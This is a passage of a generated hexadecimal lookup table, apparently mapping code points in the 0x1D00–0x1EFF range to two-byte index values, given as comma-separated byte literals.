0x0D, 0xd3, 0x03,\r\n0x00, 0x1D, 0x0E, 0x4e, 0x18,\r\n0x00, 0x1D, 0x0F, 0xcf, 0x09,\r\n0x00, 0x1D, 0x10, 0x4f, 0x18,\r\n0x00, 0x1D, 0x11, 0x50, 0x18,\r\n0x00, 0x1D, 0x12, 0x51, 0x18,\r\n0x00, 0x1D, 0x13, 0x52, 0x18,\r\n0x00, 0x1D, 0x14, 0x53, 0x18,\r\n0x00, 0x1D, 0x15, 0xe9, 0x01,\r\n0x00, 0x1D, 0x16, 0xdc, 0x13,\r\n0x00, 0x1D, 0x17, 0x54, 0x18,\r\n0x00, 0x1D, 0x18, 0x55, 0x18,\r\n0x00, 0x1D, 0x19, 0x5b, 0x10,\r\n0x00, 0x1D, 0x1A, 0x56, 0x18,\r\n0x00, 0x1D, 0x1B, 0x57, 0x18,\r\n0x00, 0x1D, 0x1C, 0x58, 0x18,\r\n0x00, 0x1D, 0x1D, 0x59, 0x18,\r\n0x00, 0x1D, 0x1E, 0x5a, 0x18,\r\n0x00, 0x1D, 0x1F, 0x5b, 0x18,\r\n0x00, 0x1D, 0x20, 0x5c, 0x18,\r\n0x00, 0x1D, 0x21, 0x5d, 0x18,\r\n0x00, 0x1D, 0x22, 0x5e, 0x18,\r\n0x00, 0x1D, 0x23, 0x5f, 0x18,\r\n0x00, 0x1D, 0x24, 0x60, 0x18,\r\n0x00, 0x1D, 0x25, 0x4f, 0x02,\r\n0x00, 0x1D, 0x26, 0x61, 0x18,\r\n0x00, 0x1D, 0x27, 0x62, 0x18,\r\n0x00, 0x1D, 0x28, 0xbe, 0x09,\r\n0x00, 0x1D, 0x29, 0x63, 0x18,\r\n0x00, 0x1D, 0x2A, 0xe9, 0x01,\r\n0x00, 0x1D, 0x2B, 0x64, 0x18,\r\n0x00, 0x1D, 0x2C, 0x65, 0x18,\r\n0x00, 0x1D, 0x2D, 0x66, 0x18,\r\n0x00, 0x1D, 0x2E, 0x02, 0x11,\r\n0x00, 0x1D, 0x2F, 0x67, 0x18,\r\n0x00, 0x1D, 0x30, 0x68, 0x18,\r\n0x00, 0x1D, 0x31, 0x69, 0x18,\r\n0x00, 0x1D, 0x32, 0x6a, 0x18,\r\n0x00, 0x1D, 0x33, 0x6b, 0x18,\r\n0x00, 0x1D, 0x34, 0x6c, 0x18,\r\n0x00, 0x1D, 0x35, 0x6d, 0x18,\r\n0x00, 0x1D, 0x36, 0x38, 0x05,\r\n0x00, 0x1D, 0x37, 0x6e, 0x18,\r\n0x00, 0x1D, 0x38, 0x70, 0x04,\r\n0x00, 0x1D, 0x39, 0x6f, 0x18,\r\n0x00, 0x1D, 0x3A, 0x70, 0x18,\r\n0x00, 0x1D, 0x3B, 0xb9, 0x02,\r\n0x00, 0x1D, 0x3C, 0x71, 0x18,\r\n0x00, 0x1D, 0x3D, 0x72, 0x18,\r\n0x00, 0x1D, 0x3E, 0x73, 0x18,\r\n0x00, 0x1D, 0x3F, 0x74, 0x18,\r\n0x00, 0x1D, 0x40, 0x75, 0x18,\r\n0x00, 0x1D, 0x41, 0x76, 0x18,\r\n0x00, 0x1D, 0x42, 0x69, 0x01,\r\n0x00, 0x1D, 0x43, 0xe9, 0x01,\r\n0x00, 0x1D, 0x44, 0x77, 0x18,\r\n0x00, 0x1D, 0x45, 0x05, 0x00,\r\n0x00, 0x1D, 0x46, 0x05, 0x00,\r\n0x00, 0x1D, 0x47, 0x78, 0x18,\r\n0x00, 0x1D, 0x48, 0x79, 0x18,\r\n0x00, 0x1D, 0x49, 0xd3, 0x01,\r\n0x00, 0x1D, 0x4A, 0x7a, 0x18,\r\n0x00, 0x1D, 0x4B, 0x7b, 0x18,\r\n0x00, 0x1D, 0x4C, 0xd1, 0x06,\r\n0x00, 0x1D, 0x4D, 0x86, 0x0c,\r\n0x00, 0x1D, 0x4E, 0x7c, 0x18,\r\n0x00, 0x1D, 0x4F, 0x51, 0x03,\r\n0x00, 0x1D, 0x50, 0x7d, 0x18,\r\n0x00, 0x1D, 0x51, 0x7e, 0x18,\r\n0x00, 0x1D, 0x52, 0x7f, 0x18,\r\n0x00, 0x1D, 0x53, 0x80, 0x18,\r\n0x00, 0x1D, 0x54, 0x81, 0x18,\r\n0x00, 0x1D, 0x55, 0x82, 0x18,\r\n0x00, 0x1D, 0x56, 0x83, 0x18,\r\n0x00, 0x1D, 0x57, 0x84, 0x18,\r\n0x00, 0x1D, 0x58, 0x85, 0x18,\r\n0x00, 0x1D, 0x59, 0x86, 0x18,\r\n0x00, 0x1D, 0x5A, 0x02, 0x0c,\r\n0x00, 0x1D, 0x5B, 0x87, 0x18,\r\n0x00, 0x1D, 0x5C, 0x88, 0x18,\r\n0x00, 0x1D, 0x5D, 0x89, 0x18,\r\n0x00, 0x1D, 0x5E, 0x8a, 0x18,\r\n0x00, 0x1D, 0x5F, 0x8b, 0x18,\r\n0x00, 0x1D, 0x60, 0x20, 0x0b,\r\n0x00, 0x1D, 0x61, 0x8c, 0x18,\r\n0x00, 0x1D, 0x62, 0x8d, 0x18,\r\n0x00, 0x1D, 0x63, 0x8e, 0x18,\r\n0x00, 0x1D, 0x64, 0x8f, 0x18,\r\n0x00, 0x1D, 0x65, 0xb6, 0x05,\r\n0x00, 0x1D, 0x66, 0x50, 0x03,\r\n0x00, 0x1D, 0x67, 0x90, 0x18,\r\n0x00, 0x1D, 0x68, 0xbc, 0x0c,\r\n0x00, 0x1D, 0x69, 0x91, 0x18,\r\n0x00, 0x1D, 0x6A, 0xd8, 0x0d,\r\n0x00, 0x1D, 0x6B, 0xb9, 0x00,\r\n0x00, 0x1D, 0x6C, 0x92, 0x18,\r\n0x00, 0x1D, 0x6D, 0x93, 0x18,\r\n0x00, 0x1D, 0x6E, 0xb9, 0x02,\r\n0x00, 0x1D, 0x6F, 0x94, 0x18,\r\n0x00, 0x1D, 0x70, 0x05, 0x00,\r\n0x00, 0x1D, 0x71, 0x05, 0x00,\r\n0x00, 0x1D, 0x72, 0xc9, 0x09,\r\n0x00, 0x1D, 0x73, 0xa2, 0x06,\r\n0x00, 0x1D, 0x74, 0x95, 0x18,\r\n0x00, 0x1D, 0x75, 0x96, 0x18,\r\n0x00, 0x1D, 0x76, 0x97, 0x18,\r\n0x00, 0x1D, 0x77, 0x98, 0x18,\r\n0x00, 0x1D, 0x78, 0x99, 0x18,\r\n0x00, 0x1D, 0x79, 0x9a, 0x18,\r\n0x00, 0x1D, 0x7A, 0x9b, 0x18,\r\n0x00, 0x1D, 0x7B, 0x9c, 0x18,\r\n0x00, 0x1D, 0x7C, 0x9d, 0x18,\r\n0x00, 0x1D, 0x7D, 0xf4, 0x0b,\r\n0x00, 0x1D, 0x7E, 0xf9, 0x0a,\r\n0x00, 0x1D, 0x7F, 0x9e, 0x18,\r\n0x00, 0x1D, 0x80, 0x93, 0x15,\r\n0x00, 0x1D, 0x81, 0xd3, 0x06,\r\n0x00, 0x1D, 0x82, 0xfd, 0x06,\r\n0x00, 0x1D, 0x83, 0x9f, 0x18,\r\n0x00, 0x1D, 0x84, 0xa0, 0x18,\r\n0x00, 0x1D, 0x85, 0xa1, 0x18,\r\n0x00, 0x1D, 0x86, 0xa2, 0x18,\r\n0x00, 0x1D, 0x87, 0xa3, 0x18,\r\n0x00, 0x1D, 0x88, 0xa4, 0x18,\r\n0x00, 0x1D, 0x89, 0xa5, 0x18,\r\n0x00, 0x1D, 0x8A, 0xa6, 0x18,\r\n0x00, 0x1D, 0x8B, 0x71, 0x07,\r\n0x00, 0x1D, 0x8C, 0xa7, 0x18,\r\n0x00, 0x1D, 0x8D, 0xa8, 0x18,\r\n0x00, 0x1D, 0x8E, 0xa9, 0x18,\r\n0x00, 0x1D, 0x8F, 0xaa, 0x18,\r\n0x00, 0x1D, 0x90, 0xab, 0x18,\r\n0x00, 0x1D, 0x91, 0xac, 0x18,\r\n0x00, 0x1D, 0x92, 0x28, 0x0b,\r\n0x00, 0x1D, 0x93, 0xad, 0x18,\r\n0x00, 0x1D, 0x94, 0xae, 0x18,\r\n0x00, 0x1D, 0x95, 0xaf, 0x18,\r\n0x00, 0x1D, 0x96, 0x0f, 0x01,\r\n0x00, 0x1D, 0x97, 0xb0, 0x18,\r\n0x00, 0x1D, 0x98, 0xb9, 0x02,\r\n0x00, 0x1D, 0x99, 0xb1, 0x18,\r\n0x00, 0x1D, 0x9A, 0xb2, 0x18,\r\n0x00, 0x1D, 0x9B, 0xb3, 0x18,\r\n0x00, 0x1D, 0x9C, 0xb1, 0x00,\r\n0x00, 0x1D, 0x9D, 0xb4, 0x18,\r\n0x00, 0x1D, 0x9E, 0xb5, 0x18,\r\n0x00, 0x1D, 0x9F, 0xb6, 0x18,\r\n0x00, 0x1D, 0xA0, 0xb7, 0x18,\r\n0x00, 0x1D, 0xA1, 0x05, 0x00,\r\n0x00, 0x1D, 0xA2, 0x05, 0x00,\r\n0x00, 0x1D, 0xA3, 0xb8, 0x18,\r\n0x00, 0x1D, 0xA4, 0x10, 0x0e,\r\n0x00, 0x1D, 0xA5, 0x40, 0x15,\r\n0x00, 0x1D, 0xA6, 0xb9, 0x18,\r\n0x00, 0x1D, 0xA7, 0xba, 0x18,\r\n0x00, 0x1D, 0xA8, 0xbb, 0x18,\r\n0x00, 0x1D, 0xA9, 0xbc, 0x18,\r\n0x00, 0x1D, 0xAA, 0xbd, 0x18,\r\n0x00, 0x1D, 0xAB, 0xbe, 0x18,\r\n0x00, 0x1D, 0xAC, 0xbf, 0x18,\r\n0x00, 0x1D, 0xAD, 0xc0, 0x18,\r\n0x00, 0x1D, 0xAE, 0xc1, 0x18,\r\n0x00, 0x1D, 0xAF, 0x69, 0x01,\r\n0x00, 0x1D, 0xB0, 0xc2, 0x18,\r\n0x00, 0x1D, 0xB1, 0xc3, 0x18,\r\n0x00, 0x1D, 0xB2, 0xc4, 0x18,\r\n0x00, 0x1D, 0xB3, 0xa5, 0x17,\r\n0x00, 0x1D, 0xB4, 0xc5, 0x18,\r\n0x00, 0x1D, 0xB5, 0x08, 0x05,\r\n0x00, 0x1D, 0xB6, 0xc6, 0x18,\r\n0x00, 0x1D, 0xB7, 0xc7, 0x18,\r\n0x00, 0x1D, 0xB8, 0xc8, 0x18,\r\n0x00, 0x1D, 0xB9, 0xc9, 0x18,\r\n0x00, 0x1D, 0xBA, 0x34, 0x01,\r\n0x00, 0x1D, 0xBB, 0x08, 0x0c,\r\n0x00, 0x1D, 0xBC, 0xc5, 0x08,\r\n0x00, 0x1D, 0xBD, 0xca, 0x18,\r\n0x00, 0x1D, 0xBE, 0xb9, 0x00,\r\n0x00, 0x1D, 0xBF, 0xcb, 0x18,\r\n0x00, 0x1D, 0xC0, 0xcc, 0x18,\r\n0x00, 0x1D, 0xC1, 0xcd, 0x18,\r\n0x00, 0x1D, 0xC2, 0xce, 0x18,\r\n0x00, 0x1D, 0xC3, 0xcf, 0x18,\r\n0x00, 0x1D, 0xC4, 0xd0, 0x18,\r\n0x00, 0x1D, 0xC5, 0xd1, 0x18,\r\n0x00, 0x1D, 0xC6, 0xd2, 0x18,\r\n0x00, 0x1D, 0xC7, 0x70, 0x02,\r\n0x00, 0x1D, 0xC8, 0xd3, 0x18,\r\n0x00, 0x1D, 0xC9, 0xd4, 0x18,\r\n0x00, 0x1D, 0xCA, 0xd5, 0x18,\r\n0x00, 0x1D, 0xCB, 0xd6, 0x18,\r\n0x00, 0x1D, 0xCC, 0xd7, 0x18,\r\n0x00, 0x1D, 0xCD, 0xb9, 0x00,\r\n0x00, 0x1D, 0xCE, 0xb9, 0x00,\r\n0x00, 0x1D, 0xCF, 0xb9, 0x00,\r\n0x00, 0x1D, 0xD0, 0xb9, 0x00,\r\n0x00, 0x1D, 0xD1, 0xb9, 0x00,\r\n0x00, 0x1D, 0xD2, 0xb9, 0x00,\r\n0x00, 0x1D, 0xD3, 0xb9, 0x00,\r\n0x00, 0x1D, 0xD4, 0xb9, 0x00,\r\n0x00, 0x1D, 0xD5, 0xb9, 0x00,\r\n0x00, 0x1D, 0xD6, 0xb9, 0x00,\r\n0x00, 0x1D, 0xD7, 0xd8, 0x18,\r\n0x00, 0x1D, 0xD8, 0xb4, 0x03,\r\n0x00, 0x1D, 0xD9, 0xe3, 0x11,\r\n0x00, 0x1D, 0xDA, 0xd9, 0x18,\r\n0x00, 0x1D, 0xDB, 0xda, 0x18,\r\n0x00, 0x1D, 0xDC, 0x10, 0x0e,\r\n0x00, 0x1D, 0xDD, 0xdb, 0x18,\r\n0x00, 0x1D, 0xDE, 0x27, 0x07,\r\n0x00, 0x1D, 0xDF, 0xdc, 0x18,\r\n0x00, 0x1D, 0xE0, 0x80, 0x10,\r\n0x00, 0x1D, 0xE1, 0x80, 0x10,\r\n0x00, 0x1D, 0xE2, 0xdd, 0x18,\r\n0x00, 0x1D, 0xE3, 0xde, 0x18,\r\n0x00, 0x1D, 0xE4, 0xc3, 0x17,\r\n0x00, 0x1D, 0xE5, 0x05, 0x00,\r\n0x00, 0x1D, 0xE6, 0x05, 0x00,\r\n0x00, 0x1D, 0xE7, 0xdf, 0x18,\r\n0x00, 0x1D, 0xE8, 0xe0, 0x18,\r\n0x00, 0x1D, 0xE9, 0xb9, 0x02,\r\n0x00, 0x1D, 0xEA, 0xe1, 0x18,\r\n0x00, 0x1D, 0xEB, 0xe2, 0x18,\r\n0x00, 0x1D, 0xEC, 0xe3, 0x18,\r\n0x00, 0x1D, 0xED, 0xe4, 0x18,\r\n0x00, 0x1D, 0xEE, 0xe5, 0x18,\r\n0x00, 0x1D, 0xEF, 0xe6, 0x18,\r\n0x00, 0x1D, 0xF0, 0xe7, 0x18,\r\n0x00, 0x1D, 0xF1, 0xe8, 0x18,\r\n0x00, 0x1D, 0xF2, 0xe9, 0x18,\r\n0x00, 0x1D, 0xF3, 0xea, 0x18,\r\n0x00, 0x1D, 0xF4, 0xeb, 0x18,\r\n0x00, 0x1D, 0xF5, 0xec, 0x18,\r\n0x00, 0x1D, 0xF6, 0x4f, 0x02,\r\n0x00, 0x1D, 0xF7, 0xed, 0x18,\r\n0x00, 0x1D, 0xF8, 0xee, 0x18,\r\n0x00, 0x1D, 0xF9, 0xef, 0x18,\r\n0x00, 0x1D, 0xFA, 0xf0, 0x18,\r\n0x00, 0x1D, 0xFB, 0xf1, 0x18,\r\n0x00, 0x1D, 0xFC, 0xf2, 0x18,\r\n0x00, 0x1D, 0xFD, 0xb9, 0x02,\r\n0x00, 0x1D, 0xFE, 0x32, 0x07,\r\n0x00, 0x1D, 0xFF, 0xbb, 0x14,\r\n0x00, 0x1E, 0x00, 0xf3, 0x18,\r\n0x00, 0x1E, 0x01, 0xf4, 0x18,\r\n0x00, 0x1E, 0x02, 0xf5, 0x18,\r\n0x00, 0x1E, 0x03, 0xf6, 0x18,\r\n0x00, 0x1E, 0x04, 0xf7, 0x18,\r\n0x00, 0x1E, 0x05, 0xf8, 0x18,\r\n0x00, 0x1E, 0x06, 0xf9, 0x18,\r\n0x00, 0x1E, 0x07, 0xfa, 0x18,\r\n0x00, 0x1E, 0x08, 0xfb, 0x18,\r\n0x00, 0x1E, 0x09, 0xfc, 0x18,\r\n0x00, 0x1E, 0x0A, 0xfd, 0x18,\r\n0x00, 0x1E, 0x0B, 0xc9, 0x01,\r\n0x00, 0x1E, 0x0C, 0xfe, 0x18,\r\n0x00, 0x1E, 0x0D, 0xff, 0x18,\r\n0x00, 0x1E, 0x0E, 0x00, 0x19,\r\n0x00, 0x1E, 0x0F, 0x01, 0x19,\r\n0x00, 0x1E, 0x10, 0xda, 0x14,\r\n0x00, 0x1E, 0x11, 0x02, 0x19,\r\n0x00, 0x1E, 0x12, 0x03, 0x19,\r\n0x00, 0x1E, 0x13, 0x05, 0x00,\r\n0x00, 0x1E, 0x14, 0x05, 0x00,\r\n0x00, 0x1E, 0x15, 0x04, 0x19,\r\n0x00, 0x1E, 0x16, 0x05, 0x19,\r\n0x00, 0x1E, 0x17, 0x06, 0x19,\r\n0x00, 0x1E, 0x18, 0x07, 0x19,\r\n0x00, 0x1E, 0x19, 0x08, 0x19,\r\n0x00, 0x1E, 0x1A, 0x09, 0x19,\r\n0x00, 0x1E, 0x1B, 0x54, 0x18,\r\n0x00, 0x1E, 0x1C, 0x0a, 0x19,\r\n0x00, 0x1E, 0x1D, 0x0b, 0x19,\r\n0x00, 0x1E, 0x1E, 0xc2, 0x05,\r\n0x00, 0x1E, 0x1F, 0x69, 0x01,\r\n0x00, 0x1E, 0x20, 0x0c, 0x19,\r\n0x00, 0x1E, 0x21, 0x5b, 0x03,\r\n0x00, 0x1E, 0x22, 0x0d, 0x19,\r\n0x00, 0x1E, 0x23, 0x38, 0x05,\r\n0x00, 0x1E, 0x24, 0x27, 0x07,\r\n0x00, 0x1E, 0x25, 0x0e, 0x19,\r\n0x00, 0x1E, 0x26, 0x0f, 0x19,\r\n0x00, 0x1E, 0x27, 0x10, 0x19,\r\n0x00, 0x1E, 0x28, 0x11, 0x19,\r\n0x00, 0x1E, 0x29, 0x12, 0x19,\r\n0x00, 0x1E, 0x2A, 0x68, 0x08,\r\n0x00, 0x1E, 0x2B, 0x13, 0x19,\r\n0x00, 0x1E, 0x2C, 0x14, 0x19,\r\n0x00, 0x1E, 0x2D, 0x15, 0x19,\r\n0x00, 0x1E, 0x2E, 0x16, 0x19,\r\n0x00, 0x1E, 0x2F, 0x17, 0x19,\r\n0x00, 0x1E, 0x30, 0x18, 0x19,\r\n0x00, 0x1E, 0x31, 0x19, 0x19,\r\n0x00, 0x1E, 0x32, 0x1a, 0x19,\r\n0x00, 0x1E, 0x33, 0x49, 0x08,\r\n0x00, 0x1E, 0x34, 0x1b, 0x19,\r\n0x00, 0x1E, 0x35, 0xc5, 0x08,\r\n0x00, 0x1E, 0x36, 0x1c, 0x19,\r\n0x00, 0x1E, 0x37, 0x0a, 0x01,\r\n0x00, 0x1E, 0x38, 0x1d, 0x19,\r\n0x00, 0x1E, 0x39, 0x1e, 0x19,\r\n0x00, 0x1E, 0x3A, 0xb9, 0x02,\r\n0x00, 0x1E, 0x3B, 0xb9, 0x02,\r\n0x00, 0x1E, 0x3C, 0x1f, 0x19,\r\n0x00, 0x1E, 0x3D, 0x93, 0x02,\r\n0x00, 0x1E, 0x3E, 0x20, 0x19,\r\n0x00, 0x1E, 0x3F, 0x21, 0x19,\r\n0x00, 0x1E, 0x40, 0x0e, 0x03,\r\n0x00, 0x1E, 0x41, 0xb6, 0x05,\r\n0x00, 0x1E, 0x42, 0x22, 0x19,\r\n0x00, 0x1E, 0x43, 0x23, 0x19,\r\n0x00, 0x1E, 0x44, 0x24, 0x19,\r\n0x00, 0x1E, 0x45, 0xbe, 0x09,\r\n0x00, 0x1E, 0x46, 0xb9, 0x00,\r\n0x00, 0x1E, 0x47, 0x25, 0x19,\r\n0x00, 0x1E, 0x48, 0x26, 0x19,\r\n0x00, 0x1E, 0x49, 0x05, 0x00,\r\n0x00, 0x1E, 0x4A, 0x05, 0x00,\r\n0x00, 0x1E, 0x4B, 0x27, 0x19,\r\n0x00, 0x1E, 0x4C, 0xe3, 0x11,\r\n0x00, 0x1E, 0x4D, 0x28, 0x19,\r\n0x00, 0x1E, 0x4E, 0x29, 0x19,\r\n0x00, 0x1E, 0x4F, 0xd1, 0x05,\r\n0x00, 0x1E, 0x50, 0x2a, 0x19,\r\n0x00, 0x1E, 0x51, 0x2b, 0x19,\r\n0x00, 0x1E, 0x52, 0x51, 0x03,\r\n0x00, 0x1E, 0x53, 0x2c, 0x19,\r\n0x00, 0x1E, 0x54, 0x2d, 0x19,\r\n0x00, 0x1E, 0x55, 0x2e, 0x19,\r\n0x00, 0x1E, 0x56, 0x2f, 0x19,\r\n0x00, 0x1E, 0x57, 0x30, 0x19,\r\n0x00, 0x1E, 0x58, 0xe8, 0x04,\r\n0x00, 0x1E, 0x59, 0x31, 0x19,\r\n0x00, 0x1E, 0x5A, 0xb9, 0x00,\r\n0x00, 0x1E, 0x5B, 0x32, 0x19,\r\n0x00, 0x1E, 0x5C, 0x33, 0x19,\r\n0x00, 0x1E, 0x5D, 0x34, 0x19,\r\n0x00, 0x1E, 0x5E, 0x35, 0x19,\r\n0x00, 0x1E, 0x5F, 0x36, 0x19,\r\n0x00, 0x1E, 0x60, 0x25, 0x10,\r\n0x00, 0x1E, 0x61, 0x37, 0x19,\r\n0x00, 0x1E, 0x62, 0x38, 0x19,\r\n0x00, 0x1E, 0x63, 0x39, 0x19,\r\n0x00, 0x1E, 0x64, 0x80, 0x10,\r\n0x00, 0x1E, 0x65, 0x80, 0x10,\r\n0x00, 0x1E, 0x66, 0x3a, 0x19,\r\n0x00, 0x1E, 0x67, 0x80, 0x10,\r\n0x00, 0x1E, 0x68, 0x20, 0x13,\r\n0x00, 0x1E, 0x69, 0x17, 0x07,\r\n0x00, 0x1E, 0x6A, 0xe2, 0x02,\r\n0x00, 0x1E, 0x6B, 0xc4, 0x14,\r\n0x00, 0x1E, 0x6C, 0x3b, 0x19,\r\n0x00, 0x1E, 0x6D, 0x3c, 0x19,\r\n0x00, 0x1E, 0x6E, 0xe9, 0x01,\r\n0x00, 0x1E, 0x6F, 0x3d, 0x19,\r\n0x00, 0x1E, 0x70, 0x3e, 0x19,\r\n0x00, 0x1E, 0x71, 0x3f, 0x19,\r\n0x00, 0x1E, 0x72, 0x40, 0x19,\r\n0x00, 0x1E, 0x73, 0xe1, 0x12,\r\n0x00, 0x1E, 0x74, 0xc4, 0x0c,\r\n0x00, 0x1E, 0x75, 0xce, 0x17,\r\n0x00, 0x1E, 0x76, 0x41, 0x19,\r\n0x00, 0x1E, 0x77, 0x42, 0x19,\r\n0x00, 0x1E, 0x78, 0x43, 0x19,\r\n0x00, 0x1E, 0x79, 0x05, 0x00,\r\n0x00, 0x1E, 0x7A, 0x05, 0x00,\r\n0x00, 0x1E, 0x7B, 0x44, 0x19,\r\n0x00, 0x1E, 0x7C, 0x45, 0x19,\r\n0x00, 0x1E, 0x7D, 0x4f, 0x02,\r\n0x00, 0x1E, 0x7E, 0x69, 0x01,\r\n0x00, 0x1E, 0x7F, 0x46, 0x19,\r\n0x00, 0x1E, 0x80, 0x47, 0x19,\r\n0x00, 0x1E, 0x81, 0x48, 0x19,\r\n0x00, 0x1E, 0x82, 0xf4, 0x16,\r\n0x00, 0x1E, 0x83, 0x49, 0x19,\r\n0x00, 0x1E, 0x84, 0x4a, 0x19,\r\n0x00, 0x1E, 0x85, 0x4b, 0x19,\r\n0x00, 0x1E, 0x86, 0x4c, 0x19,\r\n0x00, 0x1E, 0x87, 0x4d, 0x19,\r\n0x00, 0x1E, 0x88, 0x4e, 0x19,\r\n0x00, 0x1E, 0x89, 0x4f, 0x19,\r\n0x00, 0x1E, 0x8A, 0x50, 0x19,\r\n0x00, 0x1E, 0x8B, 0x51, 0x19,\r\n0x00, 0x1E, 0x8C, 0x20, 0x0b,\r\n0x00, 0x1E, 0x8D, 0xb9, 0x00,\r\n0x00, 0x1E, 0x8E, 0x52, 0x19,\r\n0x00, 0x1E, 0x8F, 0x7d, 0x00,\r\n0x00, 0x1E, 0x90, 0xee, 0x06,\r\n0x00, 0x1E, 0x91, 0x53, 0x19,\r\n0x00, 0x1E, 0x92, 0x54, 0x19,\r\n0x00, 0x1E, 0x93, 0x55, 0x19,\r\n0x00, 0x1E, 0x94, 0x56, 0x19,\r\n0x00, 0x1E, 0x95, 0x57, 0x19,\r\n0x00, 0x1E, 0x96, 0x58, 0x19,\r\n0x00, 0x1E, 0x97, 0x59, 0x19,\r\n0x00, 0x1E, 0x98, 0x5a, 0x19,\r\n0x00, 0x1E, 0x99, 0x5b, 0x19,\r\n0x00, 0x1E, 0x9A, 0x5c, 0x19,\r\n0x00, 0x1E, 0x9B, 0x5d, 0x19,\r\n0x00, 0x1E, 0x9C, 0x5e, 0x19,\r\n0x00, 0x1E, 0x9D, 0x5f, 0x19,\r\n0x00, 0x1E, 0x9E, 0x60, 0x19,\r\n0x00, 0x1E, 0x9F, 0xc3, 0x17,\r\n0x00, 0x1E, 0xA0, 0x61, 0x19,\r\n0x00, 0x1E, 0xA1, 0x62, 0x19,\r\n0x00, 0x1E, 0xA2, 0x63, 0x19,\r\n0x00, 0x1E, 0xA3, 0xb9, 0x02,\r\n0x00, 0x1E, 0xA4, 0xb9, 0x02,\r\n0x00, 0x1E, 0xA5, 0x64, 0x19,\r\n0x00, 0x1E, 0xA6, 0x65, 0x19,\r\n0x00, 0x1E, 0xA7, 0xe7, 0x0d,\r\n0x00, 0x1E, 0xA8, 0x66, 0x19,\r\n0x00, 0x1E, 0xA9, 0xc5, 0x08,\r\n0x00, 0x1E, 0xAA, 0x67, 0x19,\r\n0x00, 0x1E, 0xAB, 0x68, 0x19,\r\n0x00, 0x1E, 0xAC, 0x69, 0x19,\r\n0x00, 0x1E, 0xAD, 0x6a, 0x19,\r\n0x00, 0x1E, 0xAE, 0x6b, 0x19,\r\n0x00, 0x1E, 0xAF, 0x6c, 0x19,\r\n0x00, 0x1E, 0xB0, 0x6d, 0x19,\r\n0x00, 0x1E, 0xB1, 0x6e, 0x19,\r\n0x00, 0x1E, 0xB2, 0x49, 0x05,\r\n0x00, 0x1E, 0xB3, 0x6f, 0x19,\r\n0x00, 0x1E, 0xB4, 0x70, 0x19,\r\n0x00, 0x1E, 0xB5, 0x71, 0x19,\r\n0x00, 0x1E, 0xB6, 0x72, 0x19,\r\n0x00, 0x1E, 0xB7, 0x73, 0x19,\r\n0x00, 0x1E, 0xB8, 0x74, 0x19,\r\n0x00, 0x1E, 0xB9, 0x75, 0x19,\r\n0x00, 0x1E, 0xBA, 0x76, 0x19,\r\n0x00, 0x1E, 0xBB, 0x77, 0x19,\r\n0x00, 0x1E, 0xBC, 0x78, 0x19,\r\n0x00, 0x1E, 0xBD, 0x05, 0x00,\r\n0x00, 0x1E, 0xBE, 0x05, 0x00,\r\n0x00, 0x1E, 0xBF, 0x79, 0x19,\r\n0x00, 0x1E, 0xC0, 0x47, 0x04,\r\n0x00, 0x1E, 0xC1, 0xc0, 0x03,\r\n0x00, 0x1E, 0xC2, 0x51, 0x03,\r\n0x00, 0x1E, 0xC3, 0x7a, 0x19,\r\n0x00, 0x1E, 0xC4, 0x7b, 0x19,\r\n0x00, 0x1E, 0xC5, 0x7c, 0x19,\r\n0x00, 0x1E, 0xC6, 0x7d, 0x19,\r\n0x00, 0x1E, 0xC7, 0x02, 0x0c,\r\n0x00, 0x1E, 0xC8, 0x7e, 0x19,\r\n0x00, 0x1E, 0xC9, 0xd1, 0x05,\r\n0x00, 0x1E, 0xCA, 0x69, 0x01,\r\n0x00, 0x1E, 0xCB, 0x7f, 0x19,\r\n0x00, 0x1E, 0xCC, 0x80, 0x19,\r\n0x00, 0x1E, 0xCD, 0x81, 0x19,\r\n0x00, 0x1E, 0xCE, 0x82, 0x19,\r\n0x00, 0x1E, 0xCF, 0x83, 0x19,\r\n0x00, 0x1E, 0xD0, 0x84, 0x19,\r\n0x00, 0x1E, 0xD1, 0x85, 0x19,\r\n0x00, 0x1E, 0xD2, 0x86, 0x19,\r\n0x00, 0x1E, 0xD3, 0x87, 0x19,\r\n0x00, 0x1E, 0xD4, 0x88, 0x19,\r\n0x00, 0x1E, 0xD5, 0x89, 0x19,\r\n0x00, 0x1E, 0xD6, 0x8a, 0x19,\r\n0x00, 0x1E, 0xD7, 0x8b, 0x19,\r\n0x00, 0x1E, 0xD8, 0x8c, 0x19,\r\n0x00, 0x1E, 0xD9, 0xb2, 0x00,\r\n0x00, 0x1E, 0xDA, 0x8d, 0x19,\r\n0x00, 0x1E, 0xDB, 0x8e, 0x19,\r\n0x00, 0x1E, 0xDC, 0xbe, 0x09,\r\n0x00, 0x1E, 0xDD, 0x8f, 0x19,\r\n0x00, 0x1E, 0xDE, 0x90, 0x19,\r\n0x00, 0x1E, 0xDF, 0x91, 0x19,\r\n0x00, 0x1E, 0xE0, 0x92, 0x19,\r\n0x00, 0x1E, 0xE1, 0x4f, 0x02,\r\n0x00, 0x1E, 0xE2, 0x4f, 0x02,\r\n0x00, 0x1E, 0xE3, 0x93, 0x19,\r\n0x00, 0x1E, 0xE4, 0xfd, 0x13,\r\n0x00, 0x1E, 0xE5, 0xf9, 0x0a,\r\n0x00, 0x1E, 0xE6, 0xe9, 0x01,\r\n0x00, 0x1E, 0xE7, 0x94, 0x19,\r\n0x00, 0x1E, 0xE8, 0x95, 0x19,\r\n0x00, 0x1E, 0xE9, 0x96, 0x19,\r\n0x00, 0x1E, 0xEA, 0x97, 0x19,\r\n0x00, 0x1E, 0xEB, 0x98, 0x19,\r\n0x00, 0x1E, 0xEC, 0xe9, 0x16,\r\n0x00, 0x1E, 0xED, 0x99, 0x19,\r\n0x00, 0x1E, 0xEE, 0x9a, 0x19,\r\n0x00, 0x1E, 0xEF, 0x9b, 0x19,\r\n0x00, 0x1E, 0xF0, 0x9c, 0x19,\r\n0x00, 0x1E, 0xF1, 0x9d, 0x19,\r\n0x00, 0x1E, 0xF2, 0x9e, 0x19,\r\n0x00, 0x1E, 0xF3, 0x9f, 0x19,\r\n0x00, 0x1E, 0xF4, 0x70, 0x02,\r\n0x00, 0x1E, 0xF5, 0xa0, 0x19,\r\n0x00, 0x1E, 0xF6, 0x05, 0x00,\r\n0x00, 0x1E, 0xF7, 0x05, 0x00,\r\n0x00, 0x1E, 0xF8, 0xa1, 0x19,\r\n0x00, 0x1E, 0xF9, 0xa2, 0x19,\r\n0x00, 0x1E, 0xFA, 0xa3, 0x19,\r\n0x00, 0x1E, 0xFB, 0xa4, 0x19,\r\n0x00, 0x1E, 0xFC, 0xa5, 0x19,\r\n0x00, 0x1E, 0xFD, 0xa6, 0x19,\r\n0x00, 0x1E, 